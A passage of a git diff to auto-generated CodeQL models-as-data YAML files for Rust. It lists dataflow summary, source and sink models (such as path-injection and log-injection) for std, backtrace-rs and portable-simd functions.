"::fd", "Argument[self].Reference.Field[crate::sys::pal::unix::process::process_common::ChildStdio::Explicit(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::env_mut", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::env]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::argv].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::argv].Field[crate::sys::pal::unix::process::process_common::Argv(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_closures", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::closures]", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_gid", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::get_pgroup", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::get_program_cstr", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::program].Reference", "ReturnValue.Reference", "value", "dfc-generated"] - - ["lang:std", "::get_program_kind", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::program_kind]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::get_uid", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::gid", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::gid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::pgroup", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::pgroup].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::saw_nul", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::saw_nul]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::stderr", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stderr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::stdin", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdin].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::stdout", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::stdout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::uid", "Argument[0]", "Argument[self].Field[crate::sys::pal::unix::process::process_common::Command::uid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:std", "::as_i32", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)]", "value", "dfc-generated"] - - ["lang:std", "::from", "Argument[0].Field[crate::sys::pal::unix::fs::File(0)]", "ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)]", "value", "dfc-generated"] - - ["lang:std", "::from", "Argument[0].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue.Field[crate::sys::pal::unix::process::process_common::Stdio::Fd(0)]", "value", "dfc-generated"] - - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)]", "value", "dfc-generated"] - - ["lang:std", "::into_raw", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::into_raw", "Argument[self].Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::process::process_inner::ExitStatus(0)]", "value", "dfc-generated"] - - ["lang:std", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::id", "Argument[self].Field[crate::sys::pal::unix::thread::Thread::id]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::checked_sub_instant", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::checked_sub_instant", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::time::Timespec::tv_sec]", "value", "dfc-generated"] - ["lang:std", "::sub_time", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::sub_time", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::sub_timespec", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -529,9 +556,44 @@ extensions: - ["lang:std", "::get", "Argument[self].Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::pal::unix::weak::ExternWeak::weak_ptr]", "value", "dfc-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::personality::dwarf::DwarfReader::ptr]", "value", "dfc-generated"] - - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sys::sync::once::queue::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::fd", "Argument[self].Reference.Field[crate::sys::process::unix::common::ChildStdio::Explicit(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::create_pidfd", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::create_pidfd]", "value", "dfc-generated"] + - ["lang:std", "::env_mut", "Argument[self].Field[crate::sys::process::unix::common::Command::env]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::process::unix::common::Command::argv].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_argv", "Argument[self].Field[crate::sys::process::unix::common::Command::argv].Field[crate::sys::process::unix::common::Argv(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_closures", "Argument[self].Field[crate::sys::process::unix::common::Command::closures]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_create_pidfd", "Argument[self].Field[crate::sys::process::unix::common::Command::create_pidfd]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_gid", "Argument[self].Field[crate::sys::process::unix::common::Command::gid]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_pgroup", "Argument[self].Field[crate::sys::process::unix::common::Command::pgroup]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_program_cstr", "Argument[self].Field[crate::sys::process::unix::common::Command::program].Reference", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:std", "::get_program_kind", "Argument[self].Field[crate::sys::process::unix::common::Command::program_kind]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::get_uid", "Argument[self].Field[crate::sys::process::unix::common::Command::uid]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::gid", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::gid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::pgroup", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::pgroup].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::saw_nul", "Argument[self].Field[crate::sys::process::unix::common::Command::saw_nul]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::stderr", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::stderr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::stdin", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::stdin].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::stdout", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::stdout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::uid", "Argument[0]", "Argument[self].Field[crate::sys::process::unix::common::Command::uid].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::as_i32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0].Field[crate::sys::fs::unix::File(0)]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0].Field[crate::sys::pal::unix::pipe::AnonPipe(0)]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sys::process::unix::common::Stdio::Fd(0)]", "value", "dfc-generated"] + - ["lang:std", "::from", "Argument[0]", "ReturnValue.Field[crate::sys::process::unix::unix::ExitStatus(0)]", "value", "dfc-generated"] + - ["lang:std", "::code", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::into_raw", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::into_raw", "Argument[self].Field[crate::sys::process::unix::unix::ExitStatus(0)]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::process::unix::unix::ExitStatus(0)]", "value", "dfc-generated"] + - ["lang:std", "::signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::stopped_signal", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::id", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:std", "::is_poisoned", "Argument[self].Field[crate::sys::sync::once::futex::OnceState::poisoned]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::thread_local::key::racy::LazyKey::dtor]", "value", "dfc-generated"] + - ["lang:std", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::new", "Argument[0]", "ReturnValue.Field[crate::sys::thread_local::native::eager::Storage::val].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:std", "::does_clear", "Argument[self].Field[crate::sys_common::process::CommandEnv::clear]", "ReturnValue", "value", "dfc-generated"] + - ["lang:std", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from_char", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::from_u32", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::sys_common::wtf8::CodePoint::value]", "value", "dfc-generated"] - ["lang:std", "::from_u32_unchecked", "Argument[0]", "ReturnValue.Field[crate::sys_common::wtf8::CodePoint::value]", "value", "dfc-generated"] @@ -539,6 +601,7 @@ extensions: - ["lang:std", "::to_trail_surrogate", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::to_u32", "Argument[self].Field[crate::sys_common::wtf8::CodePoint::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::next", "Argument[self].Field[crate::sys_common::wtf8::EncodeWide::extra]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:std", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::index", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "::as_inner", "Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:std", "::as_bytes", "Argument[self].Field[crate::sys_common::wtf8::Wtf8::bytes]", "ReturnValue.Reference", "value", "dfc-generated"] @@ -595,9 +658,6 @@ extensions: - ["lang:std", "::fract", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::rem_euclid", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:std", "::rem_euclid", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:std", "::as_raw_fd", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::from_raw_fd", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:std", "::into_raw_fd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::backtrace::helper::lazy_resolve", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::io::append_to_string", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::io::default_read_buf", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -625,3 +685,72 @@ extensions: - ["lang:std", "crate::thread::current::set_current", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:std", "crate::thread::current::try_with_current", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:std", "crate::thread::with_current_name", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["lang:std", "<&crate::io::stdio::Stderr as crate::io::Write>::write", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "<&crate::io::stdio::Stderr as crate::io::Write>::write_all", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "<&crate::io::stdio::Stdout as crate::io::Write>::write", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "<&crate::io::stdio::Stdout as crate::io::Write>::write_all", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::allocate", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::allocate_zeroed", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::grow", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::grow_zeroed", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::shrink", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::alloc", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "::alloc_zeroed", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:std", "::alloc_zeroed", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "::realloc", "Argument[2]", "alloc-size", "df-generated"] + - ["lang:std", "::realloc", "Argument[self]", "alloc-layout", "df-generated"] + - ["lang:std", "::truncate", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::create_buffered", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "::open_buffered", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "::from", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::from_raw_os_error", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::new_os", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::new_simple", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::exists", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::is_dir", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::is_file", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::is_symlink", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::metadata", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::read_dir", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::read_link", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::symlink_metadata", "Argument[self]", "path-injection", "df-generated"] + - ["lang:std", "::check_public_boundary", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::index", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "::index", "Argument[self]", "log-injection", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc_zeroed", "Argument[0]", "alloc-layout", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_alloc_zeroed", "Argument[0]", "alloc-size", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_realloc", "Argument[3]", "alloc-size", "df-generated"] + - ["lang:std", "crate::sys::fs::common::copy", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::common::copy", "Argument[1]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::common::exists", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::common::remove_dir_all", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::fs::unix::copy", "Argument[0]", "path-injection", "df-generated"] + - ["lang:std", "crate::sys::pal::unix::cvt_nz", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::check_utf8_boundary", "Argument[1]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::slice_error_fail", "Argument[0]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::slice_error_fail", "Argument[1]", "log-injection", "df-generated"] + - ["lang:std", "crate::sys_common::wtf8::slice_error_fail", "Argument[2]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["lang:std", "::dealloc", "Argument[0]", "pointer-invalidate", "df-generated"] + - ["lang:std", "::open_buffered", "ReturnValue", "file", "df-generated"] + - ["lang:std", "::get", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["lang:std", "::get_or_init", "ReturnValue", "pointer-invalidate", "df-generated"] + - ["lang:std", "crate::alloc::__default_lib_allocator::__rdl_dealloc", "Argument[0]", "pointer-invalidate", "df-generated"] + - ["lang:std", "crate::fs::copy", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::fs::read", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::fs::read_to_string", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::path::absolute", "ReturnValue", "commandargs", "df-generated"] + - ["lang:std", "crate::sys::fs::common::copy", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::sys::fs::unix::copy", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::sys::pal::unix::thread::cgroups::quota", "ReturnValue", "file", "df-generated"] + - ["lang:std", "crate::sys::path::unix::absolute", "ReturnValue", "commandargs", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml b/rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml new file mode 100644 index 00000000000..38b672c31b2 --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-dylib-dep.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::dylib-dep", "crate::foo", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml new file mode 100644 index 00000000000..c3d95d1525d --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-backtrace-rs-backtrace.model.yml @@ -0,0 +1,36 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::sp", "Argument[self].Field[crate::backtrace::Frame::inner].Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::clone", "Argument[self].Reference.Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "ReturnValue.Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::sp", "Argument[self].Reference.Field[crate::backtrace::libunwind::Frame::Cloned::sp]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::from", "Argument[0]", "ReturnValue.Field[crate::capture::Backtrace::frames]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::into", "Argument[self].Field[crate::capture::Backtrace::frames]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::from", "Argument[0]", "ReturnValue.Field[crate::capture::BacktraceFrame::frame].Field[crate::capture::Frame::Raw(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::symbols", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::colno", "Argument[self].Field[crate::capture::BacktraceSymbol::colno]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::lineno", "Argument[self].Field[crate::capture::BacktraceSymbol::lineno]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::name", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::formatter", "Argument[self].Field[crate::print::BacktraceFmt::fmt]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::frame", "Argument[self]", "ReturnValue.Field[crate::print::BacktraceFrameFmt::fmt]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[0]", "ReturnValue.Field[crate::print::BacktraceFmt::fmt]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[1]", "ReturnValue.Field[crate::print::BacktraceFmt::format]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[2]", "ReturnValue.Field[crate::print::BacktraceFmt::print_path]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::name", "Argument[self].Field[crate::symbolize::Symbol::inner].Field[crate::symbolize::gimli::Symbol::Symtab::name]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::symbolize::SymbolName::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::as_bytes", "Argument[self].Field[crate::symbolize::SymbolName::bytes]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[0]", "ReturnValue.Field[crate::symbolize::SymbolName::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::addr", "Argument[self].Field[crate::symbolize::gimli::Symbol::Frame::addr].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::name", "Argument[self].Field[crate::symbolize::gimli::Symbol::Symtab::name]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::symbolize::SymbolName::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::section", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::map", "Argument[1]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::symbolize::gimli::mmap::Mmap::len]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::pathname", "Argument[self].Field[crate::symbolize::gimli::parse_running_mmaps::MapsEntry::pathname]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::allocate", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "crate::symbolize::gimli::elf::handle_split_dwarf", "Argument[2].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rust-lang/backtrace-rs:backtrace", "::new", "Argument[0]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml new file mode 100644 index 00000000000..c06c77cff2c --- /dev/null +++ b/rust/ql/lib/ext/generated/rust/repo-https-github.com-rust-lang-portable-simd-core_simd.model.yml @@ -0,0 +1,48 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitxor", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitand", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitand_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitxor", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::bitxor_assign", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::select_mask", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::select_mask", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::select_mask", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_int", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_int", "Argument[self].Field[crate::core_simd::masks::mask_impl::Mask(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::from", "Argument[0].Field[crate::core_simd::masks::mask_impl::Mask(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::recip", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_degrees", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_radians", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::abs", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::not", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::index_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_array", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::as_mut_array", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/portable-simd:core_simd", "::to_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - 